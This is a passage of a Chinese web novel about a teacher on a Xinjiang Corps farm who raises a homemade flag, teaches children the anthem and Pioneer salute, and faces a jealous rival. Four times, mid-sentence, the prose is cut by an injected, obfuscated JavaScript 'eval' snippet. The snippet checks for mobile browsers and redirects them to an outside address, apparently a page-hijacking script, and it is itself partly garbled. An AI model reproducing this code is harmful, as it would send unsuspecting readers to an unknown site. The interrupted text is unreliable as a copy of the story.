库房门口,老保管员正和一个高大的身影说话。那身影背对着舒染,一身深蓝制服,肩背挺括,正是陈远疆。他似乎在交代什么,老保管员连连点头。 舒染脚步顿了顿,还是走了过去:“保管员,陈干事。” 两人闻声转过头。陈远疆的目光落在舒染身上,依旧是那种惯常的审视,但似乎少了些最初的冷硬。 老保管员则堆起笑:“哟,舒老师,这么早?有事?” “保管员,我想问问,咱们库房……有没有旧的国旗,或者红布也成?”舒染开门见山,语气带着期待,“我想给启明小学做个旗杆,每周一带着孩子们升个旗。” “国旗?红布?”老保管员愣了一下,下意识地看向陈远疆,随即摇头,“没有没有!那种东西,连里哪会有存货?红布就更没有了!那得要多少布票?库房里顶多有点灰扑扑的帆布、麻袋布。” 舒染不死心地追问:“一点红色的边角料都没有吗?巴掌大的也行……” “舒老师,”陈远疆突然开口,打断了她和老保管员的对话。他迈步走向库房侧面那扇挂着备用物资区牌子的木门,示意老保管员,“开门。” “哎?哦哦!”老保管员赶紧掏出钥匙,哗啦哗啦地挑出那把黄铜钥匙,打开了备用物资库的门。 陈远疆率先走了进去。里面光线昏暗,空气里弥漫着尘土和铁锈的味道。他目标明确,径直走向角落里一堆用油布盖着的长条状物品。掀开油布一角,露出几根约莫两米多长、手腕粗细、打磨得还算光滑笔直的木杆子。 他抽出其中一根,掂量了一下,又用手指关节敲了敲,发出沉闷的笃笃声。 “旗杆料。”他言简意赅,把木杆递给舒染。 舒染眼睛一亮:“太好了!谢谢陈干事!” 陈远疆没回应,目光在库房里扫视。他走到堆放帆布麻袋的角落,弯腰翻找片刻,抽出一块约莫一米见方、颜色暗沉发旧、但能看出原本是块正红色的厚帆布。布面上沾着些油污和灰尘,边缘有些磨损起毛。 “这个。”他将红帆布递给舒染,“旧的,擦洗干净能用。” 舒染接过那块帆布,虽然旧,但是能用。“太好了!谢谢陈干事!”她随即又有些迟疑,“可是……国旗上还需要……” “五角星。”陈远疆接着说,他抬手解开了自己制服左胸口袋上方的一个小扣袢,探手进去,从里面抽出一小卷约莫一指宽的鲜黄色布条。 舒染惊讶地看着那卷黄布条,谁会把这种东西带在身上? 他拿起那卷黄布条,用匕首裁下五段长短一致的布条,又从工具套的一个小侧袋里,摸出一个小小的铁皮盒子。打开盒子,里面是针线。 舒染很有眼色,拿起针线,将线头在指尖捻紧,穿上针眼。 陈远疆拿起一段黄布条,对折,再对折,用匕首在折叠处划出几个精准的折痕和切割线。几下就将那段黄布条剪裁成了一个标准的等边五角星。 他重复着这个动作,很快,四个小五角星就做出来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361298|183694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老保管员在一旁看得目瞪口呆。 陈远疆将五个五角星在红帆布左上角比划了一下,迅速确定了四颗小星环绕一颗大星的位置。 他接过舒染手里的针线缝起来,他缝得极快,线拉得笔直。五个五角星很快被固定在红帆布上,排列虽不是绝对规整,却自有一股朴拙的庄重。 缝完最后一针,他用匕首割断线头。 “可以了。”陈远疆收起匕首和针线盒走出库房。舒染抱着木杆和红布赶紧跟上。 回到工具棚外,陈远疆环顾了一下棚子前那片不大的空地。他选了个正对着棚门、地势稍高的位置,用脚拨开地上的碎石和杂草。然后蹲下身,从腰间悬挂的皮革工具套里,抽出一把短柄工兵铲。 舒染看着他熟练的动作,有些惊讶。只见陈远疆用工兵铲在地上画了个十字定位,随即手腕发力,铲尖扎入土地。 泥土和碎石被迅速清理出来,一个深约半米的坑很快成型。 他站起身,将那根木旗杆竖起来,下端放进坑里。 接着,他走到旁边一堆碎土坯旁,挑拣出几块最大的,搬过来砸进坑里,紧紧塞在旗杆底部周围。 最后他拿起工兵铲,将挖出的土混合着碎石,重新填回坑中,用脚踩实跺平。 整个过程行云流水,没有一句废话,甚至没有看舒染一眼。当他直起身,拍了拍手上的泥土时,一根笔直稳固的旗杆已经矗立在工具棚前。 “绳子。”他伸出手。 舒染愣了一下,才反应过来,赶紧跑进棚子里,从角落那堆杂物里翻出一截还算结实的粗麻绳递给他。 陈远疆接过绳子,在旗杆顶端下方半尺的位置打了个牢固的环扣,将绳子穿过。然后拿起那块旧红帆布,铺在还算平整的土坯讲台上。他抽出匕首割下红布多余的不规则边角,修整成一个相对规整的长方形。 接着,他用匕首在红布上端边缘扎出两个间距均匀的小孔。将麻绳的一端穿过小孔,打了个死结。另一头则垂下来。 陈远疆将麻绳的另一端在旗杆上绕了几圈,打了个活结固定好。他退后一步,检查了一下旗杆的稳固度和绳子的顺滑度。 “好了。”他收起匕首,目光扫过舒染,“升旗,要有仪式。该教的,不能含糊。” 说完,他不再停留,转身朝着连部方向走去,背影很快消失在土坯房的拐角。 24. 第 24 章 舒染看着那面飘动的五星红旗,心头涌起一股热流。她转身走进棚子。 学生们基本都到齐了。除了原来的学生,张桂芬带来的三个孩子也怯生生地站在最后面,好奇又拘谨地打量着周围。 “同学们,安静!”舒染拿起红柳枝教棍,敲了敲土坯讲台。 孩子们的目光立刻聚焦在她身上。 “今天,我们启明小学迎来了三位新同学!”舒染微笑着指向那三个新面孔,“让我们鼓掌欢迎!” 稀稀拉拉的掌声响起,带着孩子们的兴奋和好奇。新来的三个孩子小脸涨得通红,紧张地往一起缩了缩。 “好,”舒染走到门口,指向外面那根新立的旗杆和垂挂着的红布,“大家看外面。那根木头,叫旗杆。上面挂着的红布,是我们祖国的象征,叫国旗。” “国旗?”石头瞪大了眼睛,“就是营部大门口挂的那种?” “对!”舒染肯定地点头,“国旗,代表我们的国家。每一个中国人,都要尊敬她,爱护她。” 舒染的语气庄重,“每周的第一天早上,太阳升起的时候,我们都要举行一个仪式,叫做升旗仪式。把国旗升到旗杆的最高处,表示新的一周开始了,也表达我们对祖国的热爱和敬意!” 孩子们似懂非懂,一个个挺直了小胸脯,眼睛亮晶晶地看着外面那面红布。 “在升旗的时候,我们还要唱一首歌,叫国歌。”舒染走回讲台,拿起一块石灰块,在门板黑板上用力写下三个大字:“国——歌——” “跟我读,国——歌——” “国——歌——”孩子们稚嫩的声音在棚子里响起。 “这首歌的名字,叫《义勇军进行曲》。”舒染的声音带着一种感染力,“它告诉我们,我们的国家是怎么来的,是无数英雄用鲜血和生命换来的!所以,唱国歌的时候,要站直,不能乱动,要大声唱出来,表达我们的力量和对英雄的敬意!” 她的目光扫过一张张小脸,然后用清亮而饱含感情的声音,一字一句地唱了起来: “起来——不愿做奴隶的人们——” 孩子们都睁大了眼睛,努力捕捉着陌生的旋律和歌词。 “把我们的血肉——筑成我们新的长城——” 舒染唱得很慢,很清晰。她一边唱,一边用手打着拍子。 “中华——民族——到了——最危险的时候——” 棚子里静悄悄的,只有舒染的歌声在回荡。连最调皮的虎子和大毛,也下意识地站直了身体。 阿迪力抱着胳膊的手不知何时放了下来,眼神专注地看着舒染。阿依曼更是跟着舒染的节奏,小声地地哼着。 “每个人被迫——着发出——最后的吼声——” 唱完第一段,舒染停了下来。她看着孩子们:“来,跟着老师,一句一句学。” 她再次起头:“起来——不愿做奴隶的人们——” 孩子们参差不齐地跟着唱,声音怯生生的,虽然调子跑得厉害,但带着一种赤诚。 歌声一遍遍重复着,从最初的生涩走调,渐渐变得整齐了一些。 舒染耐心地纠正着发音,打着拍子。 终于,感觉大家勉强能连起来了。 舒染放下教棍,“现在,我们出去,举行升旗仪式!石头,你个子最高,力气大,你来当升旗手!” 石头激动得小脸通红,胸膛挺得高高的:“是!舒老师!” “其他同学,按高矮个排成两排,在旗杆前面站好!要像小树一样站直!手放下,不能乱动!”舒染指挥着。 孩子们呼啦啦涌出棚子,在旗杆前手忙脚乱地排队。 阿迪力被石头拉到了第一排边上,别扭地站直了身体。阿依曼紧挨着哥哥,小脸上满是新奇。 舒染站在队伍最前面,面对着旗杆。她整理了一下衣襟。 清晨的阳光照在她脸上,也照在那面旧红帆布做成的国旗上。 “升旗仪式,现在开始!”舒染的语气正式,声音有力。 她转向石头:“升旗手,准备!” 石头立刻跑到旗杆下,踮起脚尖,抓住了那根垂下的麻绳,紧张地攥在手心。 舒染深吸一口气,目光扫过一张张表情庄重的小脸,唱出了第一句: “起来——不愿做奴隶的人们——” 孩子们立刻跟着放声歌唱,虽然跑调严重,歌词也记不住,但孩子们还是努力哼哼着。 舒染大声地领唱着,试图把调子掰回来。 国歌声在棚子附近回荡,传得很远。 几个扛着锄头准备上工的职工停住了脚步,诧异地望向这边。 一个赶着羊群路过的牧人勒住了马,好奇地张望。 就连生产办公室门口正对着赵卫东汇报工作的马技术员,也停下了话头听着这边的动静。 “中华民族——到了——最危险的时候——每个人——被迫着——发出最后的吼声——” 歌声中,石头一下一下地拉动那根麻绳。国旗在孩子们的注视下,沿着旗杆向上攀升。 当最后一句“前进!前进!前进!进!”的尾音落下,国旗正好升到了旗杆的顶端。 石头的手还攥着绳子,胸脯激动地起伏着。 舒染站在队伍最前方,看着孩子们眼中闪动的光,抬起右手,朝着国旗行了一个少先队礼。 她要让孩子们自己发现探索少先队的光荣意义。 孩子们都仰着小脸,看着舒染这个动作,眼神里充满了好奇。 “舒老师,你这是在干啥呀?”石头果然忍不住问了出来。 舒染放下手,转过身面对孩子们说:“同学们,老师刚才做的动作,叫做敬礼,是表达敬意的一种方式。” “敬礼?”虎子挠挠头,“跟陈干事那样吗?俺以前在团部见过陈干事,他见到大领导,手唰地一下抬起来,放在脑门边上,可威风了!” “对!石头观察得很仔细!”舒染赞赏地看了石头一眼,这正是她需要的切入点。 “陈干事做的那个动作,叫做军礼,是解放军叔叔表达敬意的方式。”她边说边模仿了一下军礼的动作。 “哇!”孩子们发出阵阵惊叹,模仿着舒染的样子比划起来,尤其男孩子们,觉得这个姿势特别神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361299|183694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气。 “但是,”舒染话锋一转,“我们不是解放军叔叔。我们是学生。我们学生,也有我们表达敬意的方式。” 石头第一个反应过来,模仿着舒染的动作,挺起胸膛,也高高举起了右手。 他学得最像,五指用力并拢,小脸绷得紧紧的。接着是虎子、大毛、春草…… 连最小的铁蛋和小丫,也懵懵懂懂地学着样子,把小胳膊努力向上举。阿依曼看看哥哥,又看看舒染,也怯生生地举起了手,小脸上满是认真。 只有阿迪力,他抿着嘴,看着国旗,又看看身边妹妹举起的手臂,眼神复杂。 “同学们,手可以放下了。”她温和地说。 孩子们纷纷放下手臂,有的甩甩发酸的胳膊,有的则好奇地看着自己的手掌,仿佛刚才那个动作赋予了它新的意义。 “刚才我们行的礼,叫做少先队礼。这是一个非常光荣的动作。”她顿了顿,目光扫过一张张充满求知欲的小脸,“但是,并不是所有同学现在都能行这个礼。” 孩子们愣住了,尤其是刚才举得最认真的石头、虎子,还有努力模仿的阿依曼,小脸上都露出了困惑。 “为什么呀,舒老师?”石头忍不住问,“我们不是学会了吗?” “学会了动作,很好。”舒染肯定地点点头,“但是,要真正有资格行少先队礼,需要先成为一名少先队员。” 她看到孩子们更迷惑的眼神,解释道:“少先队员,就是少年先锋队队员。这是一个由优秀少年儿童组成的先进组织!只有好孩子,经过大家的推选和组织的批准,才能戴上鲜艳的红领巾,成为一名光荣的少先队员。那个时候,才能正式行这个少先队礼!” 孩子们的眼睛亮了起来,充满了向往。 “红领巾?”春草小声问,下意识地摸了摸自己的脖子。 “对,戴在脖子上的红领巾,它象征着光荣和责任。”舒染的语气带着神圣感,“它可不是随便就能戴上的。需要我们每个人都努力进步,争取得到大家的认可才行。” 舒染说着,拿起讲台上的一块石灰块:“看,这些石灰块,是张桂芬阿姨还有其他叔叔阿姨们,特意从石灰窑捡来的边角料,给我们当粉笔用!我们要珍惜,不能乱丢乱画。” 她指了指一个用旧藤筐改成的文具筐,里面整齐码放着大小不一的石灰块,旁边还放着一叠边缘参差不齐,印着模糊表格的废纸。 “这些纸,是赵主任让人送来的,背面还能写字!虽然旧,但每一张都很宝贵!” 她的视线又落到孩子们身下坐着的矮长凳上。 “还有这些凳子,是老师和大人们一起,用那些没人要的破木头做的。有了它们,大家写字画画,胳膊就不用再硌在硬土坯上了!” 孩子们的目光随着舒染的话移动,他们虽然小,但在这物资匮乏的戈壁滩,早已懂得了来之不易的含义。 石头用力点头:“嗯!舒老师,俺们一定省着用!” 春草小心地摸了摸面前摊着的一张废纸,小脸上满是认真。 连阿迪力,也不由自主地在身下的长条矮凳上挪了挪屁股。 25. 第 25 章 舒染看着孩子们的反应,心中欣慰,话锋重新转回正题:“等到我们大家都进步了,表现优秀了,我们就由全体同学和老师一起,公平投票,推选出第一批最优秀的同学……” “我要当少先队员!”石头第一个喊出来,小拳头握得紧紧的。 “我也要!”虎子不甘示弱。 “我……我也想戴红领巾!”春草小声但坚定地说。 连新来的三个孩子也受到了感染,小脸上满是跃跃欲试。 舒染的目光掠过阿迪力。 男孩低着头,用脚尖碾着地上的土块,但舒染敏锐地捕捉到他飞快抬眼看了一下红旗,又迅速垂下的目光。 他的嘴唇紧抿,似乎在思考什么。 “好!”舒染拍拍手,“那么,从今天开始,我们就一起努力!为了能早日戴上红领巾,敬上光荣的少先队礼!现在,回教室,准备上课!” * 下课后,舒染看着孩子们跑出教室,心里关于建立少先队组织的念头越发强烈。 这不仅仅是一个荣誉,更是凝聚人心,引导孩子们向上向善的重要抓手。 她需要组织的支持。 舒染走到文具筐旁,整理了一下里面的石灰块。她拿起一个小纸包,里面是石会计送来的那些铅笔头。 她挑选出几根相对长一点的,用小刀削尖,心里盘算着:下次认字课,可以让孩子们轮流试着用铅笔在废纸上写写名字了,这比石灰块更接近真正的书写。 做完这一切,她锁好门,向连长办公室走去。 “报告连长!”舒染站在门口。 马连长看到是舒染,放下手里的工作,:“舒染?你怎么来了,是不是工作上遇到什么困难了?” 舒染走进来,简明扼要地汇报了早上升旗仪式的情况,重点提到了孩子们对少先队员和红领巾的向往,以及她想在启明小学正式建立少先队组织的请求。 “少先队?”马占山端起瓷缸子琢磨着:“娃娃们搞的那个……少先队组织?这是思想文化工作,归连队支部管……你得找刘书记才行啊。” “刘书记?”舒染一愣,她来连队后,似乎从未见过这位书记。 “嗨!”马占山一挥手,“老刘啊,去自治区党校学习去了!走了快仨月了!归期不定!连里支部的工作,暂时……暂时由支部委员们分担着。” 他显然不想揽这个在他看来“虚头巴脑”的活儿,眼神在办公室里扫了一圈,最终落在了刚走进来的陈远疆身上。 “陈干事!”马占山像抓住了救命稻草,嗓门都亮了几分,“你来得正好!你是老党员,师部下来的,懂政策!舒老师这儿想给娃娃们搞个啥……少先队?这思想上的事儿,你熟!你给看看,指点指点!我这还一堆生产任务火烧眉毛呢!” 他说完,也不等陈远疆回应,立刻又转向墙上的地图,仿佛那地图下一秒就要飞走似的,“舒老师,你跟陈干事说!陈干事说咋办就咋办!” 陈远疆刚踏进门槛,就被马占山劈头盖脸塞了个任务。 他脚步顿住,目光平静地扫过一脸“拜托了”的马连长,最后落在舒染脸上。 舒染也看着他,眼神里有期待,也有一丝的忐忑。 陈远疆没说话,只是对马占山略一点头,算是接下了这个委托。 他转向舒染,语气一如既往的沉稳:“舒染同志,去我办公室谈。” * 陈远疆的临时办公室依旧简陋,但比上次更整洁了些,桌面上居然放了个插满野花的玻璃瓶。 他示意舒染坐下,自己则走到办公桌后从抽屉里拿出一个笔记本和一支钢笔。 “说说你的具体想法和依据。”他开门见山,审视地看着舒染。 舒染一看,这架势,完全不像是“随便指点”,倒像是在进行一项正式的调查评估。 舒染定了定神,将早已打好的腹稿娓娓道来:“启明小学目前有适龄学生十二名,具备建立少先队小队的基础。我的想法是……” 她条理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361300|183694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分明地阐述着,甚至提到了几个关键的政策文件名称,这是她凭借记忆和原主模糊印象拼凑的,但在这个年代足以唬人。 陈远疆听得非常认真,手中的钢笔在笔记本上快速记录着关键点,偶尔抬眼确认一下。 舒染说完,办公室陷入短暂的安静,只有钢笔划过纸面的沙沙声。 陈远疆停下笔,合上笔记本。他没有立刻评价舒染的方案,而是问了一个关键问题:“红领巾的来源?” 舒染一愣,这确实是个现实难题。她如实回答:“这个……还没解决。我想过用红布,但需要布票,而且颜色质地要符合要求……” 她想起陈远疆缝五星的黄布条,但那是军需品,她不敢奢望。 陈远疆沉吟片刻,手指在桌面上轻轻敲击了两下,这是他思考时的习惯动作。 “红领巾是红旗的一角,意义重大,不能随意。” 他抬起眼,目光深邃,“此事需要正式报备。我会查阅相关文件,明确兵□□统内基层连队小学建队的程序、审批权限以及红领巾等标志物的配发规定。” 他站起身,语气正式地说:“在上级明确批复和配发物资之前,暂不举行入队仪式。但……” 他话锋一转,看向舒染,“你提出的前期工作,可以着手准备。思想教育、行为引导、民主评议标准,按你刚才说的去做。评选过程,务必公正、公开、透明。这是组织的信任,也是对孩子们的负责。” 他最后补充道:“相关进展和评议结果,形成书面记录。我会跟进。” 舒染一听他这意思很明显:他不会糊弄,会全程监督,按规矩办事。 舒染看着陈远疆认真的表情,心里莫名涌上踏实感。 虽然程序比她想象的复杂,红领巾也还没着落,但陈远疆的态度让她明白,这件事会被认真对待,孩子们的努力不会被辜负。 舒染站起身,郑重地答应。 陈远疆微微颔首,没再多言,重新坐回桌前,翻开了另一份文件。 26. 第 26 章 舒染回想着着陈远疆那番公事公办却又隐含支持的话,沿着连队土路往宿舍走,脑子里盘算着如何细化少先队的评议标准,以及怎么向孩子们解释“红领巾需要等待上级批准”这个不那么令人兴奋的消息。 刚拐过连部那排土坯房的墙角,就看见周巧珍从赵卫东的办公室门里闪身出来。 周巧珍脸上没什么表情,但那双眼睛里满是得意和冷意。她显然也看见了舒染,脚步顿了顿,径直走了过来。 两人在尘土飞扬的路中间碰了个正着。 周巧珍站定,双手抱胸,下巴抬起来打量着舒染:“哟,舒染同志,真是大忙人啊!这大晌午的,不在教室教娃娃,也不在宿舍待着,到处串门子?”她刻意加重了“串门子”三个字。 舒染停下脚步,眉头微蹙。她不想纠缠,尤其不想在连部门口生事,只淡淡道:“周巧珍,你有事?” “有事?当然有事!”周巧珍的声音引得旁边土坯房里似乎有人探了下头又缩回去。 “宿舍的水缸空了!轮到你挑水了!这都什么时候了?你是想让大家晚上干嚼窝窝头,还是想让大家学你资本家小姐的做派,用雪花膏洗脸啊?!” 舒染心下一凛,知道她指的是昨晚分赠香皂雪花膏的事。 她声音依旧平稳:“知道了。王大姐和秀兰呢?她们今天……” “她们?”周巧珍嗤笑一声,打断舒染,“王大姐去营部卫生所领药了,李秀兰?副业队那边豆腐坊赶工,人手不够,我让她们班长把她借调过去帮忙了!今儿个这水,就指着你这位人民教师了!怎么?想找人替你?舒染同志,咱们这可是兵团,讲究自力更生!你还想搞特殊化?让别人替你劳动?” 舒染心下一沉。王大姐和李秀兰同时被支开?哪有这么巧的事!周巧珍这是算准了时间,要让她孤立无援。她看着周巧珍眼中毫不掩饰的刁难,知道对方就是要看她狼狈出丑,最好能再落下个“逃避劳动”或“资产阶级小姐吃不了苦”的把柄。 周巧珍看着舒染沉默,以为她怕了,气焰更盛,往前逼近一步,带一种自以为是的正义感:“舒染,别以为我不知道你心里想什么!仗着读过几天师范,哄得领导们团团转,就想高人一等?呸!我告诉你,我根正苗红!最恨的就是你们这种寄生虫!现在让你挑个水怎么了?劳动最光荣!这是给你改造的机会!别不识好歹!” 她这番话说得又快又急,带着一种优越感。她挺直了腰杆,仿佛自己就是正义的化身。 舒染静静地听着,心中却豁然开朗。原来如此。不仅仅是嫉妒可能的宣传队名额,不仅仅是看不惯她的娇气和出身,更深层的原因,恐怕是…… 她想起起王大姐曾给她透露过的消息。 舒染抬起眼,目光锐利地看向周巧珍的眼睛:“周巧珍同志,我理解你对劳动光荣的信仰。这水,我会去挑,绝不会逃避劳动。但是,”她顿了顿,语气带着一丝了然,“你对我这么大的敌意,恐怕不仅仅是因为我家过去的成分,也不仅仅是因为我用了点香皂吧?” 周巧珍被她看得心头一跳,下意识地想反驳:“你胡说什么……” “我听说,”舒染打断她,语速平缓却字字清晰,“你舅舅是八连的郝连长?” 看到周巧珍脸色瞬间一白,舒染知道自己猜对了,“你是知青,来投奔你舅舅的。为了避嫌,你舅舅把你安排到了我们畜牧连这个兄弟连队。本来,你舅舅是想帮你活动活动,争取一个连队小学教师的位置,对吧?” 周巧珍抱着胳膊的手不自觉地收紧,她没想到舒染竟然知道这些! “可惜,”舒染的声音带着一丝残酷,揭开了周巧珍内心最深的伤疤,“我来了。我空降到了这个位置。你当时一定以为,我也是靠关系进来的,甚至关系比你舅舅还硬,所以你才争不过我,对吧?” “你闭嘴!”周巧珍的声音有些失控,眼神慌乱又凶狠。 “然后呢?”舒染毫不退缩,继续平静地陈述着,“然后你发现,我根本不是靠什么过硬的关系。你发现,陈干事支持我,是因为我真的懂教学,是正儿八经的师范生。你发现,我能让那些皮猴子安静下来,能教他们认字唱歌,能办起这个小学……” “别说了!”周巧珍猛地打断,胸口剧烈起伏,脸上只剩下嫉恨。 舒染的话像一把刀,剥开了她精心掩饰的自尊和借口,露出了里面的不堪。 她争不过,不仅仅是因为关系不够硬,更是因为她自己不行!她引以为傲的初中文化,在真正的师范生面前相形见绌!这比单纯的失败更让她痛苦,击溃了她那点可怜的自尊心,让她彻底破防了。 她死死盯着舒染,眼神像是要把她生吞活剥,声音因为嫉恨和羞愤而变得嘶哑:“舒染!你得意什么?!是!你是师范生!你了不起!你清高!那又怎么样?!在这戈壁滩上,在这兵团里,光会教书有什么用?!你成分不好!你就是个需要改造的娇小姐!你等着!我看你能得意到几时!这水,你今天挑也得挑,不挑也得挑!我看你这娇小姐的骨头,能硬到什么时候!要是挑不满缸,或者耽误了大家用水,你就等着在连队大会上做检讨吧!” 她几乎是吼完最后几句话,带着一身戾气和嫉恨,头也不回地朝着女工宿舍的方向冲去,背影充满了失败者的虚张声势和狼狈。 舒染站在原地,看着周巧珍几乎是落荒而逃的背影,心中并无胜利的快意,只有一片沉重。 原来根结在这里。一场因私心破灭而滋生的嫉恨。她知道,周巧珍的敌意不会因此消散,只会因为今日被彻底撕开伪装而更加变本加厉。 她知道自己这副身体,挑满一缸水几乎是不可能的任务,半路摔倒或者根本挑不起来才是最可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361301|183694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的结果。但她不能不去。 必须做最坏的打算。 舒染没有直接去水井,而是脚步一转,走向连队中心那间供销社。售货员依旧懒洋洋的。舒染的目光快速扫过货架,落在角落里一个硬纸盒上。 “同志,麻烦拿包雪莲烟。”舒染说道。这是新疆本地的一种香烟,是连队里许多老烟枪的口粮。 售货员诧异地看了她一眼,似乎不明白这个看起来娇滴滴的女知青买烟做什么,但还是从盒子里拿出一包递给她。 舒染付了钱,将扁扁的烟盒小心地揣进裤兜里。万一真的挑不动或者出了岔子,遇到赶着驴车或马车的职工,这包烟或许能换来一句“顺路捎一桶”。 水井位于连部西侧约一公里外的一个低洼处,与其说是井,不如说是一个用石头简单垒砌,深挖下去的蓄水坑,有人也叫它涝坝。 那里汇集着从远处引来的渠水和一部分渗出的浅层地下水。井口边竖着两根木桩,上面架着一根被磨得光滑的扁担,那是公用的挑水工具。 舒染走到井边,放下自己带来的两只连队统一配发的柏木水桶。她先拿起挂在木桩上的公用木桶,比柏木桶轻便些,系上长长的麻绳,费力地摇动吱呀作响的木轱辘,将木桶缓缓放入水中。打满一桶水后,再咬着牙,一点一点地摇上来。 她把公用桶里的水倒进自己带来的柏木桶里。如此反复,足足打了四桶水,才勉强将两只柏木桶装到七八分满。这已经是她目前身体能承受的极限重量了。再满,她连站都站不起来。 舒染拿起那根榆木扁担。扁担两头带着铁钩。她弯下腰,将铁钩分别挂住两只沉重水桶的提梁。这个简单的动作已经让她的腰背吃痛了。她深吸一口气,膝盖微曲,腰腹和手臂同时发力,“嘿!” 水桶离地了,但那股几乎要将她脊椎压断的力道瞬间袭来。她眼前一黑,踉跄了一下才勉强站稳。她强迫自己迈开第一步。 盐碱地并不平坦,布满了碎石和坑洼。沉重的木桶随着她的步伐剧烈晃荡,水花不断溅出,打湿了她的裤腿和鞋。 走出去不到五百米,腰背的疼痛让她几乎忍受不住,就在这时,脚下突然踩到一块松动的石头。 舒染身体猛地一歪,为了保持平衡,她下意识地扭动腰身想稳住水桶。 只听“咔嚓”一声脆响。 不是她的骨头,是左边那只柏木桶靠近底部的老旧竹篾箍崩断了。 桶壁失去了箍束,井水泼洒在盐碱地上,腾起一小片白雾,迅速渗入土里,只留下一大片湿痕。 柏木桶歪倒在一旁,桶壁裂开,彻底报废了。 舒染被巨大的惯性带得向前扑倒,右边的水桶也重重砸在地上,桶里的水又泼洒出去一小半。 她整个人跪趴在泥水里,她顾不得疼痛,满脑子都是:完了……水洒了,桶也坏了…… 27. 第 27 章 就在这时,一阵“吱呀吱呀”的车轮声由远及近。 舒染看到一辆破旧的驴车慢悠悠地走了过来。赶车的是个四十多岁的职工,是连队负责运送饲料的老杨头。 老杨头看到了地上的一片狼藉和摔倒的舒染,勒住了驴车:“哎哟!舒老师?这是咋弄的?” 舒染强撑着从泥水里爬起来,顾不得满身的狼狈和腰痛,脸上努力挤出一个极其难看的笑容:“杨叔没事,桶箍断了,水洒了……” 老杨头叹了口气:“这桶年头久了,箍不结实。别的女同志都是挑两个半桶水,你这挑这么重的水,咋不找个人搭把手?” 舒染没回应,走到驴车旁,手伸进裤兜,摸出那包刚买的雪莲烟。 她双手递到老杨头面前,脸上带着笑意:“杨叔,您抽烟。您这是往哪儿去啊?能不能顺路捎我一桶水?就一桶!您看我这……” 她指了指地上那个仅剩的小半桶水和彻底坏掉的那只桶,“我实在是挑不动了,宿舍还等着水用呢。” 老杨头看看那支递到眼前的雪莲烟,又看看舒染惨兮兮的样子,再想想这姑娘前些天刚救了李大壮。 他挠了挠后脑勺,最终还是接过了那包烟揣进兜里。 “唉,碰上就是缘分。我正好要去驴棚那边拉草料,路过你们宿舍后头。”老杨头跳下车辕,走到那只还算完好的桶边,“你这桶也裂了缝,不能再用了。来,把水倒我这个空饲料桶里,我先给你捎回去一桶应应急。你这桶坏的,回头找后勤看看能不能修吧。” 舒染几乎要喜极而泣:“谢谢!太谢谢您了杨叔!”她连声道谢。 老杨头帮她把那小半桶水倒进驴车上一个相对干净的空桶里。舒染则费力地将那个彻底报废的破桶和另一个桶搬到驴车角落,避免碍事。 “上来吧,坐车边上。”老杨头招呼道。 舒染没有逞强,爬上驴车。老杨头吆喝一声,老驴吭哧两声,迈开步子。 她看着车后渐渐远去的水渍,以及那只彻底报废的破桶,眼神却慢慢沉静下来。这一桶水,终究是带回去了。 只是,这湿透的衣裤、裂开的空桶,以及她坐着驴车回去的景象,恐怕很快又会成为周巧珍嘴里新的罪状和连队某些人眼中的谈资了。 她摸了摸空荡荡的裤兜,那包烟,花得值,却也让她明白,在这片土地上,想要生存得舒服点,有时真的需要付出代价。 * 老杨头的驴车虽然慢,却也给了舒染喘息和整理狼狈的时间。她尽可能拧干湿透裤腿的水,拍掉衣服上的泥点,将散乱的头发捋到耳后。 腰后的疼痛依旧尖锐,但她的眼神却沉静如水。她知道,周巧珍绝不会放过这个落井下石的机会。 果然,驴车刚拐过通往女工宿舍地窝子区的最后一个路口,远远地就看见周巧珍的身影。 她没在宿舍门口等,而是刻意选在了这个连接着几排地窝子,相对开阔的路口。她身边还围着两三个平时跟她走得近些的妇女,正亲热地拉着家常。 